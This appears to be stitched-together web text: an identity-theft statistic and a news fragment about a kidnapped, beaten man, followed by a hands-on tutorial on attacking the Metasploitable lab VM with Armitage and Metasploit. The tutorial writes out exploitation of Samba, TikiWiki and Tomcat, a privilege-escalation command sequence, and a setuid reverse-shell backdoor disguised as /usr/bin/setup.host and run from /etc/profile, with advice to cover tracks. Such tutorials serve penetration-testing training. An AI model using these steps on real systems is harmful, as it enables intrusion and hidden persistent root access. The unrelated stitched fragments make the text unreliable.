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A General Accounting Office report estimates that about 750,000 Americans are victims of identity theft every year. That might not be an accurate number. Some people don't report the crime. Some don't even know they are victims.
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The 52-year-old victim, whose name has not been released, told investigators he had been held against his will since Sunday afternoon in the basement of a home where he lived with three of the four suspects, according to police. The man said he was beaten and tattooed by three of them.
Police said the victim's hands were badly bruised and swollen and his eyes, legs, ribs and torso were also bruised. The alleged victim told authorities he was able to leave the house when the suspects fell asleep.
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|Tutorial: Hacking Linux with Armitage
Metasploit is a popular exploitation framework that has seen plenty of coverage on ethicalhacker.net. This article introduces Armitage, a new GUI for Metasploit built around the hacking process. Today, I will show you how to use Armitage to scan a Linux host, find the right exploit, exploit the host, and handle post-exploitation. By following this process, you will learn how to use Armitage and Metasploit in your own work.
The target we will use is the Metasploitable Linux virtual machine. Metasploitable contains several vulnerabilities making it a safe, and, dare I say ethical, training ground for future penetration testers.
Read the Armitage documentation to get Armitage running. Through the rest of this article, I will assume that you have Metasploitable running, Armitage is ready, and that you have downloaded this Python script that we will use later. Let's get to work.
The Armitage user interface has three parts. The modules area lets you search and launch any of Metasploit's modules. The targets area displays your active targets and sessions. Below the modules and targets are the tabs. Each dialog, shell, and console is opened in its own tab.
The Armitage User Interface
Before we can attack a host, we must first perform our reconnaissance step. Armitage provides several tools for this in the Hosts menu. You can import a vulnerability or port scan, launch NMap, or launch Metasploit's discovery modules.
I recommend launching NMap outside of Armitage and importing the results. By doing this, you will get feedback on the scan while it runs. To launch a full port scan with OS detection and service identification, use:
nmap -p 1-65535 -T5 -A -v 172.16.146.0/24 -oX scan.xml
Replace 172.16.146.0/24 with your network description or the IP address of Metasploitable. Once the scan is complete, import it into Armitage. Go to Hosts -> Import Hosts -> Nmap Scan Results and select your file. You will now see the Metasploitable Linux box in the Armitage targets view.
A Host
To view the results of the NMap scan: right-click the host and select Services. This will bring up a tab showing the results of our scan. The results are grouped into name, port, proto, and info columns.
Metasploitable's Services
The name column is the name of the service nmap identified on the scanned port. Proto tells you if the service detected uses the UDP or TCP protocol. The port number lets you know which port we're talking about. And finally, the info column gives you a banner grab from the port. This is very important as it helps us identify which service is running on that port. We'll use this information to come up with attack options.
Attack: Simple Remote Exploitation
Metasploit has over 650 exploits. If you don't know which one you want to use, this list may seem intimidating. Fortunately, Armitage can help narrow this list down. Go to Attacks ->Find Attacks -> by port. Armitage will analyze your hosts and build a custom attack menu for each. Wait for the "Attack analysis is complete" dialog before continuing.
Right-click on the target and you'll notice an attack menu. The attack menu will have submenus for each exploitable service on the target host. Not all of these exploits are applicable, but these are the best candidates.
Looking at the services information (see previous section), we see that Metasploitable is running ProFTPD 1.3.1. Go to Attack -> ftp and select one of the ProFTPD exploits. Selecting an exploit will bring up a dialog with information about the exploit and options you can adjust. If you read the description, you'll see that the ProFTPD exploits are for a different version of ProFTPD. Drats, this attack won't work for us.
Armitage's Exploit Launcher Dialog
Right-click the target again, go to Attack -> Samba -> usermap_script. You'll notice this is for a specific version of Samba in the 3.0.20-25 range. You'll also observe from the services tab that our target is running Samba 3.x. We don't know the exact version it's running. It's worth trying the exploit. There are no settings you need to change here. Simply click launch to launch the exploit.
If you're successful, the target host will turn red with lightning bolts. Congratulations, you've exploited the target! Right-click your target and select Shell 1 -> Interact to open a tab with your shell. We'll cover this more when we get to post-exploitation.
A Compromised Host
If you're familiar with Metasploit, you may be asking about other payloads. Armitage chooses the Metasploit payload for you. If you're attacking Windows, Armitage will choose meterpreter. If you're attacking any other operating system, Armitage will select a command shell payload. If you're not a Metasploit warrior yet, know that exploits are the delivery mechanism and payloads are the programs that get executed on the exploited host.
Now let's undo all that work by selecting the Console tab and typing
sessions -K. This will kill all existing sessions.
Attack: Web Application Exploitation
In the future, I expect the Metasploit Framework will have a mature capability to audit and attack any web application. Today, there are several exploits for common web applications. Right-click the target, go to Attack ->Webapp to see some of them.
So many web app exploits!
These exploits were chosen, because they're associated with the open port on your target. Unfortunately, you may not know which of these applications are installed. This is ok as Armitage will help again. Select the check exploits... item at the bottom of this menu.
The check exploits... command will open a console tab and run an active check of each exploit against the selected target. This is accomplished using Metasploit's check command. Some exploits do not support this, but many of them do.
Once the checks are complete, type Ctrl+F to open a search dialog. Type vulnerable and hit enter. This search will lead you to any exploits that worked.
Found a Working Exploit
You'll notice that tikiwiki_graph_formula_exec is vulnerable. Right-click the target and select Attack -> Webapp ->tikiwiki_graph_formula_exec. As we did before, click the Launch button when the dialog comes up. Now just wait for the computer to turn red.
To kill this shell, right-click the target and navigate to Shell 2 -> Disconnect.
Attack: Brute Force Login
This next attack will require a few steps. Look at port 8180 in the services tab. From the info field, we can see this port is running Apache Tomcat JSP 1.1.
Click the search field in the module browser. Type
tomcat and press enter. There is one exploit for Tomcat:exploit/multi/http/tomcat_mgr_deploy. Double-click this module to open its launch dialog. If you look at the variables, you'll notice we need a username and a password. We don't have these yet, so close this launch dialog.
Module Search Results
Metasploit has several auxiliary modules for guessing usernames and passwords. These modules are usually named service_login. Looking at the module search results for tomcat, you'll auxiliary/http/tomcat_mgr_login. This is what we need. Double-click it to open a launch dialog.
tomcat_mgr_login Dialog
You'll notice all of the parameters are set including the USERPASS_FILE option. USERPASS_FILE points to a file with a list of usernames and passwords. If you double-click this option in the Option column, Armitage will open a file chooser to let you select another file. Fortunately, this file is fine. Make sure you set RPORT to the correct value though. The target is running Tomcat on port 8180, not the default value of 8080.
Password Guessing Output
Click launch to start the brute force. If you read the output, you'll notice the login is tomcat:tomcat. That's easy enough.
Open the launcher for the tomcat_mgr_deploy exploit. Set the RPORT option to 8180 as well. Set USERNAME andPASSWORD to tomcat. Select the Target of the host. Here we're attacking a Linux host. Click Launch and wait. Congratulations you have obtained another shell!
Post Exploitation
Now that you've learned how to get access to the host, let's talk about post exploitation. Right-click the compromised host, go to the Shell 3 menu, and select Interact to interact with the shell. This will bring the shell up in its own tab.
Standard console features apply here. You may use the up/down arrows to access your command history. You may also type Ctrl+F if you need to search through the output. If you close the tab, your shell session will still exist. You may open it again by selecting the Interact menu item again.
To find out who you are, type:
id in the shell. You'll see from the Tomcat attack that you're tomcat55. Let's work on getting root.
Privilege Escalation
Privilege escalation in Linux is something that depends on your environment. If you're looking for some ideas, visithttp://www.exploit-db.com and search for recent local exploits on Linux. One bug found by Tavis Ormandy stands out. This bug allows us to create a new world-writeable file owned by the root user anywhere on the system. Tavis's example writes a file to crontab and uses that to run our desired commands as the root user. In my tests, crontab did not execute these commands on Metasploitable. This happens. So, what else can we do? Examining other recent advisories, you'll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. Anyone capable of writing to this file can use it to execute arbitrary commands as the root user. A quick ls reveals that root.rules doesn't exist in this folder. Maybe this is not our lucky day.
Do you see any options? Let's modify Tavis's example to create a world-writeable root.rules file and get a root shell through it. Type the following commands into your target's shell:
umask 0
export LD_AUDIT="libpcprofile.so"
export PCPROFILE_OUTPUT="/dev/.udev/rules.d/root.rules"
export LD_AUDIT=""
cd /tmp
You will now have a world-writeable root.rules file in /dev/.udev/rules.d. You now need to upload mountall-CVE-2010-2961.py to the Metasploitable host. Right-click in the shell window and select the Upload... menu item. Navigate to the mountall-CVE-2010-2961.py file and click Open. Armitage will use the UNIX printf command to upload the file. Since the file is so small, the upload will be instant. If the file were larger, Armitage would display the upload progress.
This Python script populates the root.rules file with commands to create a setuid shell at /tmp/toor. It also generates UDEV events to force the system to evaluate the rules file. Run this python script on the target to get root:
python mountall-CVE-2010-2961.py
Armitage Privilege Escalation
Congratulations, you're now root. Make sure to cover your tracks by deleting the root.rules, the mountall-CVE-2010-2961.py, and /tmp/toor files.
Once you have root, the next step is to add a backdoor to keep your access. Clear the module browser search box and hit enter. This will restore the default module list. Navigate to payload/linux/x86/shell_reverse_tcp. Double-clickshell_reverse_tcp to open a launch dialog.
Here you can generate a Metasploit payload executable. Change the LPORT value to 1234. Select elf for the output type. Elf is a file format for executables on Linux. Click Launch and save the file as backdoor. Now we have a program that will connect to our attack box on port 1234 with a shell when run.
Now let's set up a listener for our callback shell. Go to Armitage -> Listeners -> Reverse. Type 1234 as the port and click Start Listener.
Right-click in the shell window and select Upload... to upload backdoor to the target host. Type the following commands:
mv backdoor /usr/bin/setup.host
chmod +x /usr/bin/setup.host
chmod ug+s /usr/bin/setup.host
echo "setup.host &\n" >>/etc/profile
These commands add our setuid backdoor to the global profile file. When a user logs in, we will receive a root shell from our target.
Kill all shell sessions with
sessions -K in the Metasploit console. Switch to the Metasploitable virtual machine. Login as the user msfadmin with the password msfadmin. If you look at Armitage, you should see a new shell session. Open it up and type whoami.
I've shown you how to attack a Linux machine. You saw how to use nmap to scan the target. You learned how to interpret the results of the scan to find and launch attacks. You also learned how to escalate your privileges and persist yourself.
While Metasploit and Armitage weren't the only tools in this adventure, you can see how they aided this process. Armitage does not hack for you, but it provides tools (e.g., the printf upload feature) to make the process easier.
Some of the steps from this article are shown in the following video. Watch it to whet your appetite. To get the most out of this article, download the materials mentioned and carry out this scenario yourself. If you want to challenge yourself, try getting into Metasploitable in other ways. Good luck and happy hacking!
About the Author
Raphael Mudge is a Washington, DC based security engineer. He's created several projects including jIRCii, Sleep, and After the Deadline. He's now working on Armitage, a cyber attack management tool for Metasploit. You can contact him at http://www.hick.org/~raffi/.


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